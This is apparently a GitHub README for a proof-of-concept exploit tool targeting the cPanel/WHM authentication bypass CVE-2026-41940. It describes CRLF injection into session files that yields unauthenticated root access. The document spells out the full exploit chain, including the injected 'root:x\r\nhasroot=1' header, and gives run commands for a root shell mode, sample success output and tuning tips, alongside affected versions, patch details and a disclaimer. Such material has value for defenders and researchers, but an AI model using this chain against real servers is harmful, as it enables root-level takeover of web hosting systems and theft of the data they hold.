0xabdoulaye/CPANEL-CVE-2026-41940
GitHub: 0xabdoulaye/CPANEL-CVE-2026-41940
cPanel/WHM CVE-2026-41940 身份验证绕过漏洞的 POC 工具,通过 CRLF 注入实现未经认证的 root 访问。
Stars: 2 | Forks: 1
# CVE-2026-41940 — cPanel/WHM 身份验证绕过
**作者:** SilySec
**原始研究:** Sina Kheirkhah ([@SinSinology](https://twitter.com/SinSinology)) / [watchTowr Labs](https://labs.watchtowr.com)
**严重性:** 严重 (CVSS 9.8)
**类型:** CRLF 注入 → 身份验证绕过 → root Shell
## 描述
CVE-2026-41940 是 cPanel/WHM 中的一个严重漏洞,允许未经身份验证的攻击者通过在 `cpsrvd` 的 Basic 身份验证管理器中进行 CRLF 注入来获取完整的 root 访问权限。
该漏洞结合了三个弱点:
1. **未过滤的 CRLF 注入** — `Cpanel/Session.pm` 中的 `saveSession()` 函数在 cookie 中缺少 `` 键时,在写入磁盘之前不会清理 `\r\n` 字符。
2. **编码器被禁用** — 由于会话 cookie 中没有 `` 段,按会话编码的编码器不会被激活,导致 CRLF 字节以明文形式写入会话文件。
3. **缓存重新加载** — `Cpanel::Session::Modify::save()` 重新读取原始文件,并将注入的 CRLF 键提升到 JSON 缓存中,使会话完全通过身份验证。
## 受影响版本
| 分支 | 最新受影响版本 | 修复版本 |
|---------|----------------------------|-----------------|
| 110.0.x | 11.110.0.96 | **11.110.0.97** |
| 118.0.x | 11.118.0.62 | **11.118.0.63** |
| 126.0.x | 11.126.0.53 | **11.126.0.54** |
| 132.0.x | 11.132.0.28 | **11.132.0.29** |
| 134.0.x | 11.134.0.19 | **11.134.0.20** |
| 136.0.x | 11.136.0.5 | **11.136.0.6** |
## 漏洞利用链
```
POST /login/?login_only=1 [mauvais mot de passe]
└─► cookie: whostmgrsession=:ID,
Supprimer , → :ID [désactive l'encodeur]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd écrit les octets CRLF bruts dans le fichier de session
GET /scripts2/listaccts + Cookie: :ID [sans token de sécurité]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► cache JSON reconstruit avec hasroot=1, tfa_verified=1
→ Session authentifiée en root
```
## 使用方法
### 前置条件
```
pip install requests
# 对于 --terminal 模式(可选):
pip install paramiko
```
### 验证漏洞
```
python3 poc.py --target https://CIBLE:2087
```
### 获取交互式 root shell
```
python3 poc.py --target https://CIBLE:2087 --terminal
```
### 强制使用规范 hostname
```
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com
```
### 输出示例
```
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
```
## 重要技术要点
- 在 `Host` 请求头中必须使用**规范 hostname**(不能是 IP)—— `cpsrvd` 根据主机名以不同方式处理会话
- payload 中的**时间戳**必须是 `9999999999`(固定值,遥远的未来)—— 当前时间戳会失败
- 注入 payload 中的**键的顺序**很重要:`successful_internal_auth_with_timestamp` 必须位于首位
## 补丁
该补丁将对 `filter_sessiondata()` 的调用移至 `saveSession()` 内部,并在缺少 `` 键时添加条件编码,从而防止任何明文写入。
**请立即将 cPanel/WHM 更新至上文列出的已修复版本。**
## 免责声明
本工具仅供内部研究与测试目的使用。任何在未获明确授权的系统上使用本工具的行为均属违法。SilySec 对任何滥用行为不承担责任。
标签:CISA项目, cPanel, cpsrvd, CRLF注入, CVE-2026-41940, CVSS 9.8, PoC, Root访问, Session篡改, Web主机管理, Web安全, Web报告查看器, WHM, 利用链, 协议分析, 字符串匹配, 暴力破解, 未授权访问, 权限提升, 漏洞分析, 网络安全, 蓝队分析, 路径探测, 身份验证绕过, 逆向工具, 隐私保护, 高危漏洞